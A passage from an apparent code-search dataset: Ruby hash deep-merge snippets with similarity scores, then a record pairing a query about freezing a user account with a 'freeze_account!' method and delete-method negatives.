"def deep_merge!(other_hash, append: :auto, &block)\n\t\t\t\treturn self unless other_hash\n\t\t\t\tother_hash.each_pair do |k,v|\n\t\t\t\t\ttv = self[k]\n\t\t\t\t\tcase\n\t\t\t\t\twhen tv.is_a?(Hash) && v.is_a?(Hash)\n\t\t\t\t\t\tself[k] = tv.deep_merge(v, &block)\n\t\t\t\t\twhen tv.is_a?(Array) && v.is_a?(Array)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\t#hack: if the array begins with nil, we append the new\n\t\t\t\t\t\t\t#value rather than overwrite it\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telsif append && append != :auto\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\twhen tv.nil? && v.is_a?(Array)\n\t\t\t\t\t\t#here we still need to remove nil (see above)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k]=v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tself\n\t\t\tend",
"def merge_hash!(hash)\n merge!(self.class.from_hash(hash))\n end",
"def add_hash_if_hash(a1, b1)\n a1.each do |k, _v|\n if %w[Array Hash].include?(a1[k].class.name)\n a1[k] = add_hash2_to_hash1(a1[k], b1[k])\n else\n a1[k] += b1[k]\n end\n end\n end",
"def fix\n new_payload = self.options.join\n\n # pad to a multiple of 32 bits\n new_payload = self.pad_payload new_payload\n\n #prepend the options before the next layer payload\n self.payload = new_payload + self.payload\n self.hlen += new_payload.length/4\n self.len = self.payload.length + self.class.bit_length/8\n self.recompute_checksum\n end",
"def deep_merge!(data)\n merger = lambda do |_key, v1, v2|\n Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2\n end\n merge!(data, &merger)\n end",
"def merge_recursively(left, right)\n left.merge(right) { |_, a_item, b_item| a_item.is_a?(Hash) ? merge_recursively(a_item, b_item) : b_item }\n end",
"def reverse_significant_merge!(other_hash={})\n return keep_significant if (other_hash ||= {}).blank?\n keep_significant.reverse_merge!(other_hash)\n end",
"def merge_errors(hash)\n self.merge!(hash) if hash.any?\n end",
"def merge(hash_1, hash_2)\n\nend",
"def to_payload(payload = nil)\n return {} if payload.nil?\n return {} if payload.respond_to?(:empty?) && payload.empty?\n\n # TODO: refactor this, don't update a hash that's not ours\n payload.update params: MultiJson.dump(payload[:params])\n payload.update signature: signature(payload[:params])\n payload.delete :signature if payload[:signature].nil?\n payload\n end",
"def merge(source,target)\n source.stringify_keys!\n target.stringify_keys!\n source.each do |key,value|\n if not value.is_a? Hash and not target[key] then\n puts \" #{key} not present in target. Copying\"\n target[key] = source[key]\n elsif value.is_a? Hash and not target[key] then\n target[key] = value\n elsif value.is_a? Hash and target[key] then\n target[key] = merge(value,target[key])\n end\n end\n return target\nend",
"def deep_merge(source, hash); end",
"def deep_merge(source, hash); end",
"def merge(base_hash, derived_hash, **opts)\n result = base_hash.merge(derived_hash)\n keys_appearing_in_both = base_hash.keys & derived_hash.keys\n keys_appearing_in_both.each do |key|\n if opts[:unset_nil] && derived_hash[key].nil?\n result.delete(key)\n elsif base_hash[key].is_a?(Hash)\n result[key] = merge(base_hash[key], derived_hash[key], **opts)\n elsif should_union?(base_hash, key, opts[:inherit_mode])\n result[key] = base_hash[key] | derived_hash[key]\n elsif opts[:debug]\n warn_on_duplicate_setting(base_hash, derived_hash, key, **opts)\n end\n end\n result\n end",
"def addhashes(h1, h2)\n if h1.respond_to?(:merge) && h2.respond_to?(:merge)\n return h1.merge(h2) { |_key, old, new| addhashes(old, new) }\n else\n return h1 + h2\n end\n end",
"def _rh_merge_recursive(result, key, data)\n return false unless [Array, Hash].include?(data.class)\n\n value = data[key]\n return false unless [Array, Hash].include?(value.class) &&\n value.class == result[key].class\n\n if object_id == result.object_id\n result[key].rh_merge!(value)\n else\n result[key] = result[key].rh_merge(value)\n end\n\n true\n end",
"def forms_merge(hash1, hash2) \r\n target = hash1.dup\r\n hash2.keys.each do |key|\r\n if hash2[key].is_a? Hash and hash1[key].is_a? Hash\r\n target[key] = forms_merge(hash1[key], hash2[key])\r\n next\r\n end\r\n target[key] = hash2[key] == '/' ? nil : hash2[key]\r\n end\r\n# delete keys with nil value \r\n target.delete_if{ |k,v| v.nil? }\r\nend",
"def payload_append_encoder\n opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil\n end",
"def internal_deep_merge!(source_hash, specialized_hash)\n\t\t\tspecialized_hash.each_pair do |rkey, rval|\n\t\t\t\tif source_hash.has_key?(rkey) then\n\t\t\t\t\tif rval.is_a?(Hash) and source_hash[rkey].is_a?(Hash) then\n\t\t\t\t\t\tinternal_deep_merge!(source_hash[rkey], rval)\n\t\t\t\t\telsif rval == source_hash[rkey] then\n\t\t\t\t\telse\n\t\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\tend\n\t\t\tend\n\t\t\tsource_hash\n\t\tend",
"def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend",
"def deep_merge!(target, hash); end",
"def deep_merge!(target, hash); end",
"def merge_value(key, value1, value2)\n if value1.is_a?(Array) && value2.is_a?(Array)\n value1 | value2\n elsif key == 'dbtype' && value1 == 'sqlite3' && value2 == 'sqlite'\n value1\n else\n value2\n end\n end",
"def expect_payload_to_have(additional_structure)\n actual_payload = a_push.payload\n expected_payload = default_expected_payload.merge(additional_structure)\n expect(actual_payload).to eq(expected_payload)\n end",
"def merge_if_equals(array)\n merged = []\n keymap = {}\n array.each do |hash|\n key = hash.keys.first\n if i = keymap[key]\n merged[i].values.first.concat hash.values.first\n else\n keymap[key] = merged.size\n merged << hash\n end\n end\n array.replace(merged)\n end",
"def deep_merge_custom(hash_1, hash_2)\n hash_1.deep_merge(hash_2) { |key, val_1, val_2|\n if val_1.is_a?(Array) && val_2.is_a?(Array) && val_1[0].is_a?(Hash) && val_2[0].is_a?(Hash)\n new_arr = []\n val_2.each_with_index { |value, index|\n val_1[index] ||= {}\n new_arr[index] = deep_merge_custom(val_1[index], val_2[index])\n }\n new_arr\n else\n val_2\n end\n }\nend",
"def merge(base_hash, derived_hash)\n resolver.merge(base_hash, derived_hash)\n end",
"def deep_merge!(second)\n return nil unless second\n type_assert(second, Hash)\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def reverse_merge(other_hash); end",
"def reverse_merge(other_hash); end",
"def calculate_payload_hash\n\t\treturn Digest::SHA2.hexdigest( self.payload )\n\tend",
"def concat_merge original\n {}.tap do |result|\n original.each do |element|\n element.each_pair do |key, value|\n if value.is_a?(Array)\n result[key] ||= []\n result[key].concat value\n merge_if_equals(result[key])\n else\n result[key] = value\n end\n end\n end\n end\n end",
"def merge original, additional\n new_pact = JSON.parse(original.to_json, symbolize_names: true)\n\n merge_interactions_or_messages(new_pact, original, additional, :interactions)\n merge_interactions_or_messages(new_pact, original, additional, :messages)\n\n new_pact\n end",
"def deep_merge!(second)\n return nil unless second\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def rh_merge(data)\n _rh_merge(clone, data)\n end",
"def merge(hash)\n raise NoMethodError\n end",
"def merge_params_from_body(_params = params)\n _params = _params.dup\n _params_from_body = parse_body\n _params = _params_from_body.merge(_params) if _params_from_body.is_a?(Hash)\n indifferent_hash.merge(_params)\n end",
"def prop_merge!(hash, other_hash)\n other_hash.each do |key, val|\n if val.kind_of?(Hash) && hash[key]\n prop_merge!(hash[key], val)\n else\n hash[key] = val\n end\n end\n \n hash\n end",
"def payload_prepend\n opts['Payload'] ? opts['Payload']['Prepend'] : nil\n end",
"def reverse_significant_merge(other_hash={})\n return significant if (other_hash ||= {}).blank?\n significant.reverse_merge(other_hash)\n end",
"def merge_attributes(data)\n data.fetch(\"default\", {})\n .merge(data.fetch(\"normal\", {}))\n .merge(data.fetch(\"override\", {}))\n .merge(data.fetch(\"automatic\", {}))\n end",
"def shallow_merge(other_hash); end",
"def merge!(other)\n assert_archive other\n clear_caches\n\n merge_data @data, other.as_json, other.uri\n nil\n end",
"def combineHashes (hashes)\n mainHash = {}\n hashes.each_with_index do |hash, index|\n if index == 0\n mainHash = hash\n else\n mainHash = combineHashPair(mainHash, hash)\n end\n end\n\n return mainHash\n end",
"def merge!; end",
"def _do_rh_merge(result, key, data, refuse_discordance = false)\n value = data[key]\n\n return if _rh_merge_do_add_key(result, key, value)\n\n return if _rh_merge_recursive(result, key, data)\n\n return if refuse_discordance\n\n return unless _rh_struct_changing_ok?(result, key, data)\n\n return unless _rh_merge_ok?(result, key)\n\n _rh_merge_do_upd_key(result, key, value)\n end",
"def prop_merge(hash, other_hash)\n other_hash.each do |key, val|\n if val.is_a?(Hash) && hash[key]\n prop_merge(hash[key], val)\n else\n hash[key] = val\n end\n end\n hash\n end",
"def merge(hash)\n @hash.merge!(hash) if hash.respond_to?(:keys) && hash.any?\n self\n end",
"def _deep_merge(hash, other_hash); end",
"def _deep_merge(original_hash, filtered_hash)\n original_hash.merge(filtered_hash) do |_key, original_item, filtered_item|\n if original_item.is_a?(Hash) && filtered_item.is_a?(Hash)\n _deep_merge(original_item, filtered_item)\n elsif filtered_item == FILTERED_VALUE\n filtered_item\n else\n original_item\n end\n end\n end",
"def merge_new list, raw_apps\n new_list = Hash.new\n\n raw_apps.each do\n |app|\n if list[app].class == NilClass\n new_list[app] = 0\n else\n new_list[app] = list[app]\n end\n end\n return new_list\nend",
"def merge_config_data(config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config[:data]) do |key, val1, val2|\n case key\n # Plugin config is shallow merged for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORTS.keys.map(&:to_s)\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow mergeed\n when 'puppetdb', 'plugin_hooks', 'apply_settings', 'log'\n val1.merge(val2)\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end",
"def merge_compacted_value(hash, key, value)\n return unless hash\n case hash[key]\n when nil then hash[key] = value\n when Array\n if value.is_a?(Array)\n hash[key].concat(value)\n else\n hash[key] << value\n end\n else\n hash[key] = [hash[key]]\n if value.is_a?(Array)\n hash[key].concat(value)\n else\n hash[key] << value\n end\n end\n end",
"def merge_child_hashes( h1, h2, key )\n h_out = {}\n if h1.has_key?( key )\n if h2.has_key?( key )\n h_out = { key => h1[ key ].merge( h2[ key ] ) }\n else\n h_out = { key => h1[ key ] }\n end\n elsif h2.has_key?( key )\n h_out = { key => h2[ key ] }\n end\n return h_out\nend",
"def deep_merge!(bot, top)\n bot.merge!(top) { |k, botv, topv| (botv.class == Hash and topv.class == Hash) ? deep_merge!(botv, topv) : topv}\nend",
"def default_payload\n {\n app_name: app_name,\n app_url: app_url,\n deployment_remote: deployment_remote,\n tag_name: tag_name,\n match_tag: match_tag_name\n }\n end",
"def reverse_merge!(other_hash); end",
"def deep_merge!(other_hash, &block); end",
"def deep_merge!(other_hash = {})\n replace(deep_merge(other_hash))\n end",
"def deep_merge!(hash_or_config)\n return self if hash_or_config.nil?\n other_config = convert hash_or_config\n other_config.each do |key, other_value|\n value = has_key?(key) && self[key]\n self[key] = if ConfigNode === value && ConfigNode === other_value\n value.deep_merge!(other_value)\n elsif ConfigNode === value && other_value.nil?\n self[key]\n else\n other_value\n end\n end\n self\n end",
"def two_layer_merge(downstream_hash, upstream_hash)\n up = upstream_hash.dup\n dn = downstream_hash.dup\n up.each_pair do |setting_name, value|\n if value.kind_of?(Hash) && downstream_hash.has_key?(setting_name)\n dn[setting_name] = value.merge(downstream_hash[setting_name])\n up.delete(setting_name)\n end\n end\n return up.merge(dn)\n end",
"def deep_merge!(second)\n return nil unless second\n unless Hash === second\n raise TypeError.new(\"can't convert #{second.class} into #{self.class}\")\n end\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def deep_merge!(second)\n return nil unless second\n type_assert(second, Array)\n changed = nil\n second.each_index do |k|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n changed |= true if self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n changed |= true if self[k].deep_merge!(second[k])\n elsif exclude?(second[k])\n self << second[k]\n changed |= true\n end\n end\n return nil unless changed\n self\n end",
"def merge_id_hashes_helper(hash, array_of_refs, src, path = [])\n ref = array_of_refs.shift\n field = hash[ref]\n\n if array_of_refs.empty? && field\n value = value_from_hash(src, path + [ref])\n if value.is_a?(Array)\n hash[ref] = (field + value).uniq\n else\n hash.delete(ref)\n end\n else\n case field\n when Array\n field.each_with_index do |f, index|\n merge_id_hashes_helper(f, array_of_refs.dup, src, path + [ref, index])\n end\n when Hash\n merge_id_hashes_helper(field, array_of_refs, src, path + [ref])\n end\n end\n end",
"def merge(event)\n @merge.each do |dest_field, added_fields|\n dest_field_value = event.get(dest_field)\n\n Array(added_fields).each do |added_field|\n added_field_value = event.get(added_field)\n\n if dest_field_value.is_a?(Hash) ^ added_field_value.is_a?(Hash)\n @log.error('cannot merge an array and hash',\n dest_field: dest_field,\n added_field: added_field)\n next\n end\n\n if dest_field_value.is_a?(Hash)\n event.set(dest_field, dest_field_value.update(added_field_value))\n else\n event.set(dest_field, Array(dest_field_value).\n concat(Array(added_field_value)))\n end\n end\n end\n end",
"def site_payload\n old_site_hash = old_site_payload\n old_site_hash[\"site\"].merge!({\"popular_posts\" => self.popular_posts})\n old_site_hash\n end",
"def deep_merge!(src, override)\n override.each do |key, oval|\n # puts \"merging #{key}\"\n if src.has_key?(key)\n sval = src[key]\n if oval == sval\n # puts \"Values are identical\"\n next\n elsif oval.is_a?(Hash) and sval.is_a?(Hash)\n # puts \"Deep merging subhashes\"\n deep_merge!(sval, oval)\n elsif oval.is_a?(Array) and sval.is_a?(Array)\n # puts \"Deep merging arrays\"\n sval.concat oval\n else\n # puts \"Overriding value #{sval.inspect} with #{oval.inspect}\"\n src[key] = oval\n end\n else\n # puts \"adding new value {#{key} => #{oval}}\"\n src[key] = oval\n end\n end\n return src\nend",
"def merge(*hashes, &block)\n dup.update(*hashes, &block)\n end",
"def merge_existing_meta_hash(meta)\n return unless (original_meta = instance.send(\"#{name}_meta\"))\n meta.reverse_merge! meta_decode(original_meta)\n end",
"def merge(other_hash)\n ret = self.class.new.merge!(self)\n ret.merge!(other_hash) if other_hash != self\n return ret\n end",
"def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end"
] | [
"0.716487",
"0.574754",
"0.574754",
"0.574754",
"0.57450324",
"0.57052",
"0.56707585",
"0.5621381",
"0.55326515",
"0.55233383",
"0.5504557",
"0.5493695",
"0.5455851",
"0.5418039",
"0.53678924",
"0.53678596",
"0.53549147",
"0.5335852",
"0.53155386",
"0.5310267",
"0.53055227",
"0.5304353",
"0.5290145",
"0.5274027",
"0.52688825",
"0.5267602",
"0.52450544",
"0.52446157",
"0.5239919",
"0.52233654",
"0.5222265",
"0.5207144",
"0.5204138",
"0.5193291",
"0.5190089",
"0.5185058",
"0.51756847",
"0.5171557",
"0.51700974",
"0.5167488",
"0.5164842",
"0.5164842",
"0.51517576",
"0.513889",
"0.51369756",
"0.5120485",
"0.51193035",
"0.5118281",
"0.5098892",
"0.5096374",
"0.5096374",
"0.5076521",
"0.50690204",
"0.5064484",
"0.5063139",
"0.5045132",
"0.5040832",
"0.50290114",
"0.50290114",
"0.502637",
"0.5022677",
"0.5019929",
"0.50108",
"0.5001131",
"0.49906227",
"0.4989639",
"0.49883837",
"0.49814776",
"0.4974584",
"0.49677235",
"0.49617228",
"0.4958927",
"0.49461076",
"0.494459",
"0.49443084",
"0.49438",
"0.49188942",
"0.49164003",
"0.4907941",
"0.49000144",
"0.48996824",
"0.48970184",
"0.48832455",
"0.48800582",
"0.4879795",
"0.48791507",
"0.4875441",
"0.48628128",
"0.48617944",
"0.48570478",
"0.4856314",
"0.4856077",
"0.48479104",
"0.48446885",
"0.48428077",
"0.48418632",
"0.48409095",
"0.4834709",
"0.483163",
"0.4828985"
] | 0.53470355 | 17 |
============================================ Instance methods ============================================ We want to use the token instead of the id | def to_param
self.token
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def id\n token\n end",
"def generate_token\n #Token.generate_token(self.id)\n end",
"def id_token\n @id_token ||= nil\n end",
"def token\n return nil if !id\n encode(id)\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def set_token\n @token = Token.find(params[:id])\n end",
"def generate_token\n if self.token.blank?\n self.id = self.token = UniqueToken.generate\n end\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def token\n end",
"def token(request)\n end",
"def auth_token \n JWT.encode({id: self.id}, \"9885ea7895518eaf88c4a8a2e8f62c82\")\n end",
"def set_token\n self.token ||= SecureRandom.uuid.gsub(/\\-/, '').first(5).upcase\n end",
"def token\n authenticated\n end",
"def access_token; self; end",
"def token\n @@token ||= fetch_token\n end",
"def owner_token\n end",
"def set_internal_token!\n self.token ||= generate_token\n end",
"def setup_token\n token = SecureRandom.hex(16)\n @token = token\n token\n end",
"def token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: auth_token)\n end",
"def save_token\n self.token = SecureRandom.uuid unless self.token\n end",
"def token\n client.token if client\n end",
"def auth_token\n JWT.encode({ id: self.id }, '65bc368fbc69306')\n end",
"def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end",
"def token\n unless defined?(@token)\n @token = {\n 'id' => self.catalog['token']['id'],\n 'expires' => Time.parse(self.catalog['token']['expires'])\n }\n @token['tenant'] = self.catalog['token']['tenant']['id'] if self.catalog['token']['tenant']\n end\n @token\n end",
"def id_token= new_id_token\n @id_token = new_id_token\n end",
"def token_key\n @token_key\n end",
"def token\n Digest::MD5.hexdigest(\"#{id}#{created_at}\")\n end",
"def token\n\t\t@token = ApiKey.find_by_user_id(self.id)\n\t\tif @token == nil\n\t\t\t\treturn ApiKey.create!(user: self)\n\t\telse\n\t\t\t\treturn @token\n\t\tend\n\tend",
"def token_user_id\n decoded_token.first['id']\n end",
"def token\n @token\n end",
"def set_auth_token\n @auth_token = AuthToken.find(params[:id])\n end",
"def set_auth_token\n @auth_token = AuthToken.find(params[:id])\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def token\n len = 8\n token = self.id.to_s\n token = token + self.sha\n token = token[0..5]\n end",
"def expose_token\n @token = ApiToken.where(code: params[:token]).first\n end",
"def fetch_and_set_token_id\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'a_s_cm_ggca')\n\n return validation_error(\n 'a_s_cm_ggca_3',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.default\n ) unless token_resp.success?\n\n @token_details = token_resp.data\n\n @token_id = @token_details[:id]\n\n success\n\n end",
"def authentication_token\n object.authentication_token if !current_user || object.id == current_user.id\n end",
"def token\n (self.created.to_i.modulo(100000) + self.id).to_s\n end",
"def generate_token\n self.update({:token => SecureRandom.hex})\n end",
"def generate_token\n self.token = UniqueToken.generate\n end",
"def auth_token\n @@auth_token\n end",
"def target_id\n user_app_token\n end",
"def generate_token\n self.token = Digest::SHA1.hexdigest([self.workplace_id, self.institute.id, Time.now, rand].join)\n end",
"def access_token\n end",
"def token_uri; end",
"def set_token\n self.token = Digest::SHA2.hexdigest \"#{username}-#{lastvisitDate.to_i}\" if self.token.blank?\n end",
"def get_token_by_id(id)\n submit GetTokenByCaller.new(:token_id => id)\n end",
"def generate_token\n self.token = custom_token.presence || SecureRandom.hex(3)\n self.custom_token = nil\n generate_token if AliasedLink.exists?(token: token)\n end",
"def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end",
"def token\n @token\n end",
"def call\n Utils::TokenManager.encode(user_id: user.id) if user\n end",
"def token\n return self[:token] if self[:token] # <- Will not generate a token more than once.\n begin\n byte_string = [self.user_id, rand(2**32)].pack('L*') << rand(256)\n self[:token] = Base64.urlsafe_encode64(byte_string)\n end while UserAuthToken.exists?(token: self[:token])\n end",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def token\n configuration.token\n end",
"def token\n @token ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(4) ]\n end",
"def token\n @api.get(\"#{Paths::TOKENS}\")\n end",
"def initialize(id_token)\n @id_token = id_token\n end",
"def authentication_token\n generate_token(:authentication_token)\n end",
"def refresh_token\n self.generate_token\n end",
"def id\n wallet_token\n end",
"def auth_token\n AuthToken.new payload: { sub: user.id }\n end",
"def token\n refresh_token! if token_expired?\n super\n end",
"def generate_token\n\t\tself.token = SecureRandom.hex\n end",
"def set_globus_token\n @globus_token = GlobusToken.find(params[:id])\n end",
"def current_user\n authenticate_token\n end",
"def request_token\n self.token = Pivotal::Client.fetch_token(email, password)\n end",
"def generate_token\n self.token = SecureRandom.urlsafe_base64\n end",
"def login_by_token\n\n end",
"def auth0_id_token\n session.fetch(:id_token, nil)\n end",
"def generate_token\n self.token = SecureRandom.hex if new_record?\n end",
"def generate_token\n self.token ||= Base64.urlsafe_encode64(SecureRandom.random_bytes(12))\n end",
"def generate_auth_token\n self.auth_token = SecureRandom.hex\n end",
"def set_token\n self.token ||= Cart.generate_token\n end",
"def set_token_id\n security_token_id = \"token-#{SecureRandom.uuid}\"\n\n @header_template.at('wsse|BinarySecurityToken')['wsu:Id'] = security_token_id\n @header_template.at('wsse|Reference')['URI'] = \"##{security_token_id}\"\n end",
"def request_token\n @token=current_client_application.create_request_token\n if @token\n render :text=>@token.to_query\n else\n render :nothing => true, :status => 401\n end\n end",
"def rest_generate_token(id)\n db = Mysql.new(config['mysql_server'], config['mysql_admin'], config['mysql_admin_password'], \"tatoc\")\n uuid = nil\n rows = db.query(\"select uuid from rest where id=#{id}\")\n rows.each do |row|\n uuid = row[0]\n end\n if uuid == nil\n response = Hash.new\n response['error']=\"Invalid Session ID\"\n return response\n end\n timestamp = Time.now.to_i\n private_key = Digest::MD5.hexdigest(\"#{uuid}#{timestamp}\")\n\n db.query(\"update rest set private_key=\\\"#{private_key}\\\", key_generated_at=#{timestamp} where id=#{id}\")\n response = Hash.new\n response['token']=private_key\n response['expires']=timestamp + 30\n response\n end",
"def init_token\n self.token = SecureRandom.hex(64) if self.token.blank?\n end",
"def token\n @data[:token]\n end",
"def token\n @token ||= options[:token] || TokenFetcher.fetch\n end",
"def generate_token\n self.token = secure_digest(Time.now, candidate_id)\n end",
"def generate_auth_token!\n loop do\n @token = Devise.friendly_token\n break unless Token.find_by(token: @token)\n end\n self.tokens.create token: @token\n return @token\n end",
"def key_for(token)\n \"afid-access-token:#{token}\".to_sym\n end",
"def generate_token\n begin\n token = Other::TokenGenerator.call(25).value_or('')\n end until !User.where(token: token).nil?\n self.bf_api_token = token\n end",
"def token_id\n SecureRandom.random_bytes(16).bytes.to_a\n end",
"def generate_token\n self.token = SecureRandom.base64(64)\n end",
"def token_secret; end",
"def token_secret; end",
"def token_secret; end",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def initialize\n setup_token\n end",
"def get_token\n get(TOKEN_URL)\n end",
"def token(token = nil)\n if token.nil?\n return @data[\"access\"][\"token\"][\"id\"] \n else\n get_request(address(\"/tokens/#{token}\"), token())\n end\n end",
"def token\n validate_arguments!\n\n display Turbot::Auth.api_key\n end",
"def token\n session = Session.find_by(id: params[:id])\n token = @@opentok.generate_token(session.session_id)\n render :json => { OtToken: token }\n end",
"def token; config[:token]; end",
"def request_token\n @request_token\n end",
"def token\n @token.present? ? @token : token_hash\n end",
"def populate_token\n if new_record? && self.token.nil?\n self.token = SecureRandom.uuid().to_s.last(8)\n while check_token?(self.token) == true\n self.token = SecureRandom.uuid().to_s.last(8)\n end\n end\n end",
"def request_token\n @token = current_client_application.create_request_token\n if @token\n render :text => @token.to_query\n else\n render :nothing => true, :status => 401\n end\n end"
] | [
"0.8478675",
"0.7805131",
"0.755799",
"0.7520007",
"0.7393739",
"0.73297375",
"0.7324664",
"0.72884977",
"0.72884977",
"0.71890867",
"0.7181823",
"0.7120899",
"0.71196514",
"0.70848185",
"0.7075782",
"0.7050981",
"0.70362",
"0.70199597",
"0.6990394",
"0.69878703",
"0.6987754",
"0.6983655",
"0.6954524",
"0.6947496",
"0.6937759",
"0.69242376",
"0.6919735",
"0.69115865",
"0.6910919",
"0.6910112",
"0.68970907",
"0.68825",
"0.68825",
"0.6872337",
"0.6872337",
"0.6858957",
"0.68512714",
"0.684927",
"0.68342924",
"0.68333405",
"0.6827785",
"0.6827003",
"0.68012726",
"0.67878294",
"0.6768597",
"0.67677504",
"0.6760431",
"0.6747532",
"0.6743088",
"0.67418575",
"0.67383665",
"0.67238855",
"0.672143",
"0.67211294",
"0.6717294",
"0.67122334",
"0.6709388",
"0.67091924",
"0.6703869",
"0.6700688",
"0.66894007",
"0.6685263",
"0.6675523",
"0.66726685",
"0.6672043",
"0.6671167",
"0.6669801",
"0.66688377",
"0.6668094",
"0.6666784",
"0.66463095",
"0.6632818",
"0.6616986",
"0.6614239",
"0.66100925",
"0.66098356",
"0.6592542",
"0.65842485",
"0.65811265",
"0.6567725",
"0.65672284",
"0.65652525",
"0.65575206",
"0.65551305",
"0.6554714",
"0.6552473",
"0.65511537",
"0.6549476",
"0.6549476",
"0.6549476",
"0.6547559",
"0.65469104",
"0.6544302",
"0.65379936",
"0.6535741",
"0.65356046",
"0.6531364",
"0.6530546",
"0.6529539",
"0.65286905",
"0.652565"
] | 0.0 | -1 |
TODO: specs Freeze user acocunt and update the deletion request | def freeze_account!
self.put(operation: 'freeze')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n \n end",
"def deleteRequest\n\n end",
"def delete\n \n end",
"def delete_user\n end",
"def delete\n\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n\n\tend",
"def delete_operations; end",
"def delete\n request('delete').auth_required!\n end",
"def delete\n # TODO: implement delete\n end",
"def destroy; delete end",
"def delete_blocked\n end",
"def delete\n user = getUserByAuthToken(request)\n user.soft_delete\n head :no_content\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n @deletedUser = User.find_by_userName(\"UserDeleted\")\n @postOfDeletedUser = Post.find(:all, :conditions => [\"user_id = ?\", @user.id])\n\n #updating the user_id of all the posts of the deleted user to a default user \"UserDeleted\"\n @postOfDeletedUser.each do\n |post|\n post.update_attribute(\"user_id\",@deletedUser.id)\n end\n\n @votesOfDeletedUser = Post.find(:all, :conditions => [\"user_id = ?\", @user.id])\n\n #updating the user_id of all the votes of the deleted user to a default user \"UserDeleted\"\n @votesOfDeletedUser.each do\n |vote|\n vote.update_attribute(\"user_id\", @deletedUser.id)\n end\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete\n request(:delete)\n end",
